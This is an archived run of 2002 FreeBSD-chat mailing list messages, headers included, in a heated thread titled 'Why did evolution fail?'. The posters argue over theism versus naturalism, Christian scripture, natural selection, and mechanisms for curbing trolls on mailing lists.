(mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0CB2B37B400 for ; Wed, 4 Sep 2002 05:57:50 -0700 (PDT) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id 7CD0643E42 for ; Wed, 4 Sep 2002 05:57:49 -0700 (PDT) (envelope-from yid@softhome.net) Received: (qmail 13242 invoked by uid 417); 4 Sep 2002 12:57:44 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 4 Sep 2002 12:57:44 -0000 Received: from planb ([216.194.4.17]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Wed, 04 Sep 2002 06:57:42 -0600 Date: Wed, 4 Sep 2002 08:56:36 -0400 From: Joshua Lee To: chat@freebsd.org Subject: Re: Why did evolution fail? Message-Id: <20020904085636.2fcba73c.yid@softhome.net> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; i386-portbld-freebsd4.7) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 04 Sep 2002 04:12:53 -0700 Terry Lambert wrote: > Joshua Lee wrote: > > Terry Lambert wrote: > > > I don't personally know if there is a God or not. > > > > > > Barring evidence one way or the other, the choice between any > > > two competing hypothesis must be made on the basis of which of > > > the two is simpler. > > > > Terry, William of Occam was a theist. ;-) > > My uncle, who is names on the patent for microwave ovens, still > to this day refuses to have one in his house... your point is? That it's fairly odd to quote a Franciscan Friar in favor of atheism, albeit one that rejected the utility of Medieval scholastic proofs in favor of revelation. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 6:25:54 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D959937B400 for ; Wed, 4 Sep 2002 06:25:34 -0700 (PDT) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3B2E643E77 for ; Wed, 4 Sep 2002 06:25:34 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0017.cvx21-bradley.dialup.earthlink.net ([209.179.192.17] helo=mindspring.com) by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17ma9w-0004Xd-00; Wed, 04 Sep 2002 06:25:28 -0700 Message-ID: <3D760965.47339BA3@mindspring.com> Date: Wed, 04 Sep 2002 06:23:49 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209041140.g84BeK182877@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > > The environment chooses the creatures which survive. > > It's not able to choose. The creatures are either able to adapt or > they are not. The creatures don't adapt or not adapt; they are born with the necessary survival characteristics, or they are not. If they are not, they die. If they are, they survive to propagate the genes which express as those characteristics. You seem to be leaning to the Lamarckian hypothesus, which has been disproven, that if you FedEx a bunch of humans to Mars, a portion of them will magically grow the lung tissue to be able to breathe 20 millibars of CO2 at 4 degrees Celcius, and that ability will then be inherited by their offspring. That is not how natural selection's fitness function operates. > Huh? I don't "solve problems" in this fashion. My life is not defined > as "one problem after another". Most of the problems I solve are > scientific in nature, but not even all of those are handlable by the > methodology you describe. All scientific problems are by definition solvable using the scientific method. If they aren't, then they are not scientific problems, they are some other class of problems. > > My personal preference it to analyze the problem, determine > > the class of problems it represents (if non-unique), and then > > solve for the set of problems in the space represented by the > > class, do it once, and never have to look back. > > Gah. What if the problem is dynamic? The method works anyway. > What if the problem mutates? Then you reanalyze it. > What if your classification was in error? Then you start over. > I bet I feel about this methodology what you feel about mine. ;) Unlikely... 8-). > All people are unique. Any classification you do on a unique > individual lowers your accuracy of estimation of said individual. Of course they are... any given indivudual ia unique... just like everyone else. 8-) 8-). > > You mean, like machine enforcement of the charters for technical > > mailing lists... > > Yes, that would be a contender. A machine restricting discourse has > a nauseous taste to it. As long as it only restricts it to the charter, I have no problem with it. If I want to go outside the charter, I take the discussion elsewhere. [ ... signed, timed, signature keys ... ] > Nope. All you are doing here is forcing the users to have a > "verifiable" identity. As most everything is, this is quite probably > hackable, subject to identity theft from careless users, etc. I'm also forcing that verifiable identity to obtain a limited time permission in order to post -- a lease -- which must be renewed to permit continued posting. This permits a feedback mechanism -- whatever mechanism the list membership consensually decides is appropriate -- to be used to enforce against continued abuse of the list. You are a SPAM'mer, and your identity loses posting rights. You are a troll, and your identity loses posting rights. Etc.. > > Also, all messages now non-repudiable (I view this as a > > disadvantage, but not in this context). > > Why not in this context? Because there is no power yielded by the individual to the group, apart from consensus control over posting rights. You are not going to be arreseted and sent to a reeducation camp, if you continually post about something both off topic and unpopular with the list membership. Unpopularity of a view is irrelevent, as long as the view is topical. If you change the feedback criteria, and the notification mechanism, then it can be an instrument of oppression. But the ability to use a hammer to kill someone doesn't make it any less of a tool than when you only used it to poind in nails. > >> > On the contrary. It is the nature of science to question assumptions. > >> > I see scientists question their own assumptions all the time; all that > >> > is required to trigger this is a contradictory observation. Scientists > >> > never hold forth facts, only hypothesis. > >> > >> Observational evidence contradicts this assertion. Really, I've rarely > >> seen this, and that fact is why I escaped academia years ago. (They tried > >> to hold me in but...) > > > > As I said before, you are hanging with the wrong peeps. > > Define "the right peeps". Whatever group it is, I don't belong, > period. I've walked the line between many classified groups ever since > I was born. People who call themselves scientists, but who don't walk the walk. > >> > [ ... profoundly bad example ... ] > >> Why? > > Because it analogizes an impedence mismatch with a convergent > > series. > > See? You aren't willing to think out of the box, or to critically > examine the concept. You dismiss it out of hand because of your > classifications. I dismiss it because it is a flawed analogy. Come up with a valid analogy, and I won't dismiss it. Your assumption about what happens when you sample something whose frequency is higher than the sample rate being similar to what happens when you set V > C in a Lorentz transformation is incorrect, because there is not equal symmetry around the centerpoint. > > Never test for an error condition you don't know how to handle. > > -- Steinbach > > How do you know you can handle it before you get it? What does your program do, when it can't read the file, but your process has sufficient priviledge to change the access controls on the file to permit it to be read by your program? > >> Sometimes, a model that doesn't "academically work" can still > >> "practically work". > > "Finger quotes"?!? > > Eh? The use of ``"practically work"'' instead of ``practically work'' says that you were attempting to imply a non-traditional meaning. > >> > Why can't it be orthogonalized? You are effectively arguing > >> > against the Taniyama-Shimura conjecture... which has been > >> > proven. > >> > >> The who? Good grief. Is this an authority? ;) > > > > "All elliptic curves have modular forms" > > So? How does this imply that you can orthogonalize -all- aspects of > life? I never said you could. I responded to your statement: | You can't orthogonalize this. You can't just apply a transform and have | the troll component vanish, you still affect the other communication. If you can identify the trolls, you can in fact, find a modular space in which there is a manifold dividing the space, with all the trolls on one side of the manifold, and everyone else on the other. Then you can apply a simple binary "trollness" test. It has nothing whatsoever to do with "orthogonalizing -all- aspects of life". Nice try, though. > >> I can't agree with that at all. The world of humans doesn't always > >> obey any strict mathematical definition, and as such is not a > >> candidate for scientific manners of investigation. > > > > Oh, this is so wrong. > > We have arrived at another fundamental disagreement then. Nevertheless, I will continue to use such manners of investigation, so long as they continue to yield highly accurate predictive models. 8-). > > Individual humans are not completely predictable (yet), but > > statistically, groups of humans are very, very predicatable. > > Statistical arguments are generally inconclusive. They are hard > to accept unless you can guarantee a bunch of hard to guarantee > things about the evidence. I disagree. Perhaps what you feel is hard and what I feel is hard are two different things. > That being said, there are certain human foibles that you can see in > most people like clockwork. These could resemble statistical > observations, but they are best understood by watching individual > examples and then applying that experiential knowledge to further > observation. I didn't say that it was not possible to model individual behaviour entirely, only that, as yet, accurate predictive models can not be built from such observations, except in the most trivial cases. Otherwise, we would have software which can pass the turing test, simply by running such a model. > >> I did that. Free.* was taken over by Tim Skirvin... > > > > That was a hierarchy within the context of the genereal usenet. > > I'm talking about non-interoperation. > > The entire point wasn't to make my own sandbox and see who would play > in it. This was a very common straw man. It's irrelevant to the drive > I had at the time to express common sense and teach people (by the > action of not moderating) to -freaking- press the "delete" or "next > messsage" key when you don't like what someone posted. What is so > damn -hard- about that? Why can't people just do this? Moving the > finger takes very little caloric energy, less energy than continuing > to read and get worked up. By not making it "your own sandbox", you failed to put a border between your society and Tim's. The result was predictable. > Just look. -You- want to spend a lot of time and energy devising > secure identified email or coming up with who knows what just so that > the laziness of humanity can prevail over common sense. Hardly. I want common sense to prevail. But the trolls refuse to exhibit it. > This is all just more evidence that Earth is really a comedic stage > for the amusement of whatever cosmic being(s) are out there > watching. ;) I resemble that remark... ;^). > > Any existing system that fulfills a similar societal role is a > > control. I think you are confusing the society itself, which is > > an independent entity, with the communications media within > > which its internal systems operate. The two are not identical. > > Maybe so, but they sure lose a lot of distinction in the process. > Also, however correct you are, the people -in- the society > don't seem to agree with this. They tend to percieve them as one. That's why I keep suggesting that the "laws of physics" need to be built into the the pathways, rather than externally imposed. You keep arguing that internal imposition won't work. Fine. Take that as a working hypothesis, and impose the rules externally instead. > >> Perhaps support for your "paid troll" theory can be had by noting > >> that paid trolls don't really care about the response as long as > >> they can shut down the list. (I'm trying to think like you here, > >> correct me if I am wrong but I think this is your theory.) > > > > Yes, this is my theory. > > They got to ya then. ;) It would appear you are at least somewhat > worried about the list being shut down by trolls. If that's true, > they've managed to win the first round. Hardly. Their goal and their actual ability to achieve it are very different things. > >> > It depends on what you mean by "moderation". > >> > >> Classic moderation is where a small subset of "society" gets all > >> the messages destined for a forum. They then determine whether to post > >> those or not. > > > > This doesn't work. Not because of the reasons you keep claiming, > > but because it will not scale. > > So a superposition of reasons then. I claim classic moderation chills > speech. I don't think anyone can prove otherwise, rationally or > experientially. It doesn't chill speech within the consensus of the meaning of the charter, if implemented correctly. Any you will have a hard time proving a negative in that case, too. 8-). > > Not a dodge. My Uncle-by-marriage's sister is the person who > > dispenses Charles Manson's medication. Some people yanked out > > out their interface cables before the programming was complete. > > Some people didn't trust the code and that's why they yanked. Our > "society" is not perfect, and I daresay far from it. People like > this guy are a reaction to it, which has been increasing in past > years. It's OK. We'll lock them up and prevent their genes from propagating. > >> Not if I have the Dallas Cowboy Cheerleaders at gunpoint. ;) > > > > I can still ignore what you have to say, and report on the > > whack-job with the famous hostages... > > And your boss can fire you and assign another reporter, yes. Not really. I will be giving the boss what he wants: viewers; how many people have actually *read* "The Unibomber Manifesto" (or "The GNU Manifesto")? A circus doesn't have to have a plot. > >> Not at gunpoint, but I do have over 35 active FreeBSD systems > >> to care for...I think there's an imperative there don't you? > > > > So what information pertinent to that situation are you getting > > from the "FreeBSD is Dead" trolls? > > Starting with the obvious, Someone feels threatened by FreeBSD. I'll grant that. We got that the first time they posted. They've posted more than once. What *new* information was present in each subsequent posting, which was not present in previous postings? Remember that the mechanism I have proposed would not have stopped the initial posting. > >> Maybe this response is "Hey, friend..."? (Ok, so that's -my- utopia, > >> not yours.) > > > > Hey, if it worked... but it wouldn't. > > It's worked for me in the past. I wouldn't call it reliable, but then > again...to do this one you have to be impeccably appropriate. So it worked with Tim, did it? > >> > The noosphere is not bounded to a finite competitive resource > >> > domain, as you keep implying with your "move to an island" > >> > analogy. > >> > >> I'll grant you finitely uncountable, but really the limit is > >> in how long you have to peruse it. > > > > Not long. You have filters, right? > > Yes. I still have trouble keeping up with it all. Yet you expect people not dedicated to your ideal to keep up, even when you, a dedicated person, can not? > >> The difference between you and I is, I can operate independent of > >> my axioms. Sometimes without thought even. If I'm lucky, complete > >> mental shutdown. > > > > You may as well be a puppet, if you give them that much control > > over you. > > Them? Nope. This is my control over me. Deprogramming my mind and > letting who I really am surface. That's exactly what a pupet in your position would say. 8-) 8-). > >> As the limit of time approaches infinity, you can't. ;) > > > > Functionally decompose the problem space, and distribute the > > processing. You're asking the same thing of personal filtering, > > only you are asking it of a multiplicity equivalent to the fan > > out for a given mailing list. > > I'm not asking anything. I'm implying that unless it's done this way, > it's not honorable. People should determine what they want to read. > The converse is just as multiplicative; you have to sit there and make > presumptions about what N people want to read. As N grows large, you > are bound to make decisions that a portion of N would disagree with. > This is what stagnates a list, since you have to LCD the presumptions > to get "the most people" happy. Hardly. Topicality is not arbitrary, even if choices about the content of the charter are. > > Mailing lists are push model. They are not Usenet. Stop pretending > > they are. > > The distinction is irrelevant in this case. Functionally, they are the > same thing, just on different scales. Wrong. The distiction is critical. It defined the tipping point. > > You could have just ignore my response. So by your argument, > > you should take responsibility for initiating this entire > > diatribe. > > I merely posted a thought. You attacked that thought. That started > the diatribe. Stop weasling, you must have known I wouldn't just > back off. ;) I merely posted a thought about your thought; there was no attack. > >> So if someone is chopping the hedges on your side of the fence, > >> and you blow him away with a 12-gauge shotgun, it's ok because > >> it was effective? > > > > If they cart you off to prision, and in two years someone buys > > the house next door, and chops the hedges on your side of the > > fence, then it wasn't effective. > > Interesting dodge. How is that a dodge? -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 8:41:20 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 69FC337B400 for ; Wed, 4 Sep 2002 08:41:18 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id A613243E3B for ; Wed, 4 Sep 2002 08:41:17 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g84FfGGd088498; Wed, 4 Sep 2002 08:41:16 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g84FfFb6088495; Wed, 4 Sep 2002 08:41:16 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Wed, 4 Sep 2002 08:41:15 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Joshua Lee Cc: dave@jetcafe.org, , Subject: Re: Why did evolution fail? In-Reply-To: <20020903211527.1a0655b6.yid@softhome.net> Message-ID: <20020904082510.X88455-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Tue, 3 Sep 2002, Joshua Lee wrote: > On Tue, 3 Sep 2002 14:57:11 -0700 (PDT) > "Neal E. Westfall" wrote: > > > naturalism as a viable worldview. In fact, if naturalism is false its > > opposite, supernaturalism must be true. > > > > Moreover, not just any supernaturalism will do. It must provide the > > preconditions for rationality, ethics, science, human dignity, > > freedom, intellectual disagreements, etc. > > Exactly. Judaism. What, that wasn't the religion you had in mind? ;-) Which is why I said that not just any supernaturalism will do. Old Testament Judaism is an aborted version of Christianity. It is also no longer practiced today. If you were to propose what we now call Orthodox Judaism, I would have some very pointed questions regarding specific practices that occurred in the Old Testament. Orthodox Judaism repudiates the need for blood atonement and redemption, which means man can never know if he is in a right relationship with God. Moreover, whether or not you agree that the particular religion I propose is the One True Way, naturalism is still refuted, so the objection you raise really doesn't help you much as a naturalist. If you would like to seriously propose some other religion, we can talk about that. > The problem with these sorts of philosophical conjectures is that if, > despite Kant's objections, they could be proven; they rarely prove any > particular religion's cogence. A particular religion's cogence must be analyzed from an internal perspective for coherence. This too is one of the transcendental preconditions for the intelligibility of experience. If there are no worldviews that are coherent, it is foolish for either of us to even argue, and the skeptics are right. > Somehow I knew that since the subject line contained the word > "evolution" that the missionaries would come out of the woodwork. Or as Terry would put it, it is an "emergent" property. 8-) Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 9:42: 1 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BA02B37B405 for ; Wed, 4 Sep 2002 09:41:57 -0700 (PDT) Received: from williams.mc.vanderbilt.edu (williams.mc.Vanderbilt.Edu [160.129.208.222]) by mx1.FreeBSD.org (Postfix) with SMTP id 8603C43E72 for ; Wed, 4 Sep 2002 09:41:56 -0700 (PDT) (envelope-from drew-list-freebsd-chat@rain3s.net) Received: (qmail 5318 invoked from network); 4 Sep 2002 16:42:30 -0000 Received: from localhost (HELO williams.mc.vanderbilt.edu) (127.0.0.1) by williams.mc.vanderbilt.edu with SMTP; 4 Sep 2002 16:42:30 -0000 Date: Wed, 4 Sep 2002 11:42:28 -0500 To: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-ID: <20020904164228.GC4470@drew.rain3s.net> References: <20020831093523.G8288-100000@Tolstoy.home.lan> <3D756B53.173640C0@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3D756B53.173640C0@mindspring.com> From: Drew Raines Mail-Followup-To: chat@FreeBSD.ORG X-Delivery-Agent: TMDA/0.62+ Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert wrote: > > "Neal E. Westfall" wrote: > > > > Hence, as a previous poster pointed out, the governing > > authorities (whether Christian, or pagan) are ministers of > > God's wrath. > > By virtue of a popular election? I didn't realize that God > had deputized the population with the power to deputize > people to act on His behalf. After God led the Israelites out of Egypt, he clothed Moses and Aaron with ``holy garments,'' ``for glory and for beauty'' so that they could ``minister as priest[s] to [God]'' (Ex 28:1-2). These garments included a breastplate, vest, robe, tunic, turban and a sash. In that whole chapter, God details the ornate decor of these clothes to Moses, then later tells him that Aaron and his sons will wear them ``that they may serve Me as priests'' (v 41). God established an order for which man was to serve him, and these men were the main contact points. In the New Testament, Paul told the Ephesians about a new wardrobe. A Christian isn't marked by what he wears, but by faith working through love. Paul wrote of the ``breastplate of righteousness,'' ``shoes of the Gospel,'' ``shield of faith,'' ``helmet of salvation,'' and the ``sword of the Spirit (the word of God; the Bible).'' Any person who believes that Jesus, both fully God and fully human, is the Son of God and died for his sin, is a part of the eternal ``royal priesthood, a holy nation, a people for God's own possession'' (1 Pet 2:9). God didn't deputize the population; he deputized believers in Christ to act on his behalf. Jesus' death on the cross was /the/ crucial event in history where ``the veil of temple was torn in two from top to bottom'' (Mark 15:38). No more sacrificing spotless lambs and spreading its blood over doorposts to gain righteousness. Christ has made the believer righteous because *he* is the spotless lamb whose blood covered the believer's sin. > > Yes, but this is all beside the point. It is purely > > descriptive. To what ends *should* society be seeking? > > IMO? The advancement of human knowledge. OK, but I would make sure that knowledge grows in the right context. The fear of the Lord is the beginning of knowledge; (Prov 1:7) Let not a wise man boast of his wisdom, and let not the mighty man boast of his might, let not a rich man boast of his riches; but let him who boasts boast of this, that he understands and knows Me, that I am the Lord who exercises loving kindness, justice, and righteousness on earth; for I delight in these things. (Jer 9:23,24) > If nothing else, we will end up finding the answer to the > question os what ends society should be seeking, and, most > importantly, not be able to falsify the idea that we have > discovered the answer. There is a way which seems right to a man, but its end is the way of death. (Prov 14:12) We need God. Without him we are lost. Man cannot fend for itself. We are scrambling around trying to create standards when we should be living by the standard already set: Truth. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 11:18:27 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A87C537B400 for ; Wed, 4 Sep 2002 11:18:24 -0700 (PDT) Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 409ED43E6E for ; Wed, 4 Sep 2002 11:18:24 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0634.cvx40-bradley.dialup.earthlink.net ([216.244.44.124] helo=mindspring.com) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17mejN-00037i-00; Wed, 04 Sep 2002 11:18:22 -0700 Message-ID: <3D764E30.FEE9F60@mindspring.com> Date: Wed, 04 Sep 2002 11:17:20 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209041142.g84BgY182928@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > >> > There are people who can not do this. I would prefer to have the > >> > contributions of those people, than the participation of the trolls. > >> > If I must lose one or the other, let it be the trolls. > >> > >> I feel exactly the opposite. If someone can't hit a key on the > >> keyboard and render the troll powerless, I don't want to be held > >> hostage to their choices. Good riddance. > > > > You're not held hostage to their choices. Feel free to subscribe > > to other lists as well. > > So I can return to a hostage state? No thanks. I fail to see how this returns you to a hostage state ("you know"; you won't enlighten everyone; it's much more fun to suffer in the knowledge that you're the only one suffering in the knowledge, than it is to explain how having to subscribe to a second mailing list to get postings from assholes holds you hostage...). > >> Well, people would focus on not being rich. Then they'd be unhappy. > >> What good is a BMW if you cant brag to your friends because they > >> all have one too? ;) > > > > The same good it was when you *could* brag: it is a means of > > getting from point A to point B. > > Not exactly the same good, you miss the fun in bragging. A: "I have a new beamer!" B: "I don't care." A: "It goes 0-60 in 5.9!" B: "Don't you work down main street, where the highest speed limit is 45?" A: "It has bucket seats with built in butt-warmers!" B: "You live in California, where the weather varies between luke warm and warm" A: "It has 50 more horse poser than your car!" B: "What kind of gas mileage does it get?" A: "You're no damn fun at all, you know?!?" B: "And you're an idiot who just spent $65,000 to get from point A to point B..." -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 11:32:19 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A6B4437B400 for ; Wed, 4 Sep 2002 11:31:58 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7BC4643E3B for ; Wed, 4 Sep 2002 11:31:56 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g84IVtGd045160; Wed, 4 Sep 2002 11:31:55 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g84IVs3k045039; Wed, 4 Sep 2002 11:31:54 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Wed, 4 Sep 2002 11:31:53 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Terry Lambert Cc: Dave Hayes , Subject: Re: Why did evolution fail? In-Reply-To: <3D756B53.173640C0@mindspring.com> Message-ID: <20020904084222.G88455-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Tue, 3 Sep 2002, Terry Lambert wrote: > > > I don't claim to have an answer to that question. What I do claim > > > is that resetting the clock to an earlier time does no good. We know > > > this because, to analogize Dave Hayes, there was no sudden heavenly > > > chorus announcing the amount of real, user, and system time elapsed > > > since the beginning of the universe, now that the run is complete. > > > > It's complete? > > If "The Answer" was arrived at at an earlier time, then yes, by > definition. Just trying to get at what you meant by "complete." The answer was here from the beginning all along, that's true, and the universe is "complete" in the sense that when it was created, it was declared "good." However, due to an unfortunate incident involving a piece of fruit and a snake it has been subjected to all sorts of evils. Taking that into account, it could be said to be "incomplete." > > The problem with analogies is that sometimes they prove too much. Have > > you ever met the Programmer? > > There's a programmer? 8-). See what I mean! 8-) > > > So I think most of these standards of conduct are emergent, based > > > on their anti- or pro- species survival value. > > > > Isn't the concept of "emergence" just a clever mask for "faith-based > > committment"? I mean really, as a theist, I feel like an absolute > > rationalist compared to you evolutionists! Consider this: > [ ... ] > > All of this is self-emergent, or self-creating, with no help from > > any supernatural intelligence! I look at that and think, wow, > > I guess I just don't have that kind of faith! Hence, the > > classification of evolution as a religion. Louis Pasteur > > disproved spontaneous generation but I guess some ideas die hard. > > The rationalist view is that, given two explanations which fit > the facts, the simpler one is the correct one. Self-creation is simpler than supernatural creation? Maybe its just me, but that sounds like one hairy thesis to me! > > Well, then why do we fight back, if not to impose our standards > > of morality on them? Besides, I would hardly classify Islam as > > "not a dominant religion", unfortunate as that fact is. > > 1) Or to *prevent* other people from imposing their standards > on you. That's the point I was making in the first place. So now then, how do you judge whose standards are "right" or "just"? > 2) Islam favors birth control? Since when? I was disputing your claim that a religion must favor birth control in order to become dominant. Take a good look, in the only places in the world where it isn't dominant, it is nevertheless gaining a strong foothold. In the places where it is dominant, no other viewpoint can peacefully co-exist. > > Yes, but one would have to show that propagation of the genetic > > material and survival of the species is a goal worthy of pursuing. > > Not really. You'd only have to show that it was desirous, not "worthy". Why does desire have any relevence? Murderers desire to live, but that doesn't mean they should. > > I mean, how do you know that murder victims are just the unhappy > > losers in the evolutionary fight for survival? > > You mean "aren't", I guess. One answer is that murderers are not > so prevalent as to constitute a generalized evolutionary pressure. Oh really? I would have to ask how you know this, especially since we have whole cultures in the world today that condone murder. Also, unless the murder rate in our own country has dropped to zero, I don't see how you can say it is not an evolutionary pressure (hypothetically speaking, of course, assuming for the sake of argument that evolution is true). > > This all just seems like so much rationalization. I admit, longer > > reproductive life spans and higher standard of living is nice from a > > subjective perspective, but in the ultimate scheme of things how do > > we know it isn't counter-productive? > > It is not the job of evoution to be "counter-productive" or > "productive". You assume a goal, without a goal in evidence. Then what you are talking about is not evolution. I thought the idea behind evolution was to be an explanation for how complex organisms (e.g. "the goal") could have arisen through modification over time of simpler organisms. > > > I guess in terms of conflicting societies, it comes down to whether > > > powerful society A can suffer less powerful society B to exist. > > > > Sometimes it comes down to whether more powerful society A can suffer > > itself to exist, or rather God can suffer it to exist. > > All societies which have ever existed have been suffered to come > into existance in the first place, by definition, if, in fact, > anyone is suffering them at all. You missed the point. Societies continue to exist until such a point that the internal pressures of human wickedness cause it to self-destruct. Human sin undermines the necessary preconditions of a stable society. > > Why are mutual boundaries relevant? I mean, what does it really > > matter if one piece of bio-matter A inadvertently bumps into > > another piece of bio-matter B, and in the process changes it's > > state from what we arbitrarily call "alive" to an equally > > arbitrarily named state we call "dead". Such is nature red in > > tooth and claw. > > To ignore the boundaries is to not admit the possibility of > stalemate. Why is stalemate a problem? > > Of course, what you call "emergent", is what some of us would > > call "providence". > > Call it what you want; if you need to believe that will is > required as a first mover in all things, go ahead and believe > that, though it's easy to conceptualize such things occurring > in the absence of will. Providence does not admit of Aristotle's god. It's not that will is required as a first mover, it's that without it, nothing at all would be possible. When you "conceptualize" the movement of all things from a state of chaos to increasingly complex states or order without some kind of will directing such movement, you are expressing an article of faith. Please explain why the belief that order comes from disorder on its own accord is not an absurdity. What you are asserting is a violation of the law of non-contradiction. Things cannot create themselves. If there was a time in which primordial soup is all there was, please expain how there could be anything but primordial soup now. If all the factors remained the same, how do we have such complex organisms now? Here's one to ponder: If life began as simple-celled organisms that multiplied via cellular division, how do we get from that to organisms that copulate in order to reproduce? I want to know what happened in between to bring about *this* state of affairs! You not only have to believe that some organism developed a sex organ, you have to believe it occurred twice, all within the same infinitesimal slice of time during vast expanses of evolutionary time, which, you remember, is billions of years. Not only that, but once everything is plugged in and working, these organisms knew what to do with these sex organs! Amazing! I look at that and think, gee, isn't it simpler to just believe that God is the real origin of species? 8-) > > > Personally, I believe a global society is not possible, at least > > > until there are one or more additional globes involved. Call it > > > a result of "Thalience". 8-). There is an implicit need of "the > > > other", at least in all the societies we've so far managed to > > > construct. > > > > Kind of a yin and yang thing then, eh? > > You can't sort things into two groups by going through every one > of them, one at a time, if, after identifying which group it > belongs two, you throw them randomly back in the same bin. 8-). > There has to be a mutually acknowledged border. Yeah, but why bother sorting them in the first place? > > > It turns out that there is an escape hatch. It has to do with the > > > semantics of "human being". This is actually *why* it's OK to kill > > > the enemy, without having to make an explicit exception which leads > > > you to a slippery slope: you define them to not be a human being. > > > The Sioux understood this implicitly. The translation of the Sioux > > > word for themselves is "human being". > > > > So 